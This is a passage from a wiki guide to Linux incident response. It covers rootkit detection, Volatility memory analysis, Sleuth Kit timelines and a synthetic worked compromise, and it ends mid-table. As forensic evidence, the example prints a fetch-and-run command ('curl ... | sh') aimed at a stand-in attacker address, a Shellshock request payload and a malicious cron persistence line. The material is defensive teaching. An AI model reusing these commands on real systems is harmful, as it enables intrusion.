&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
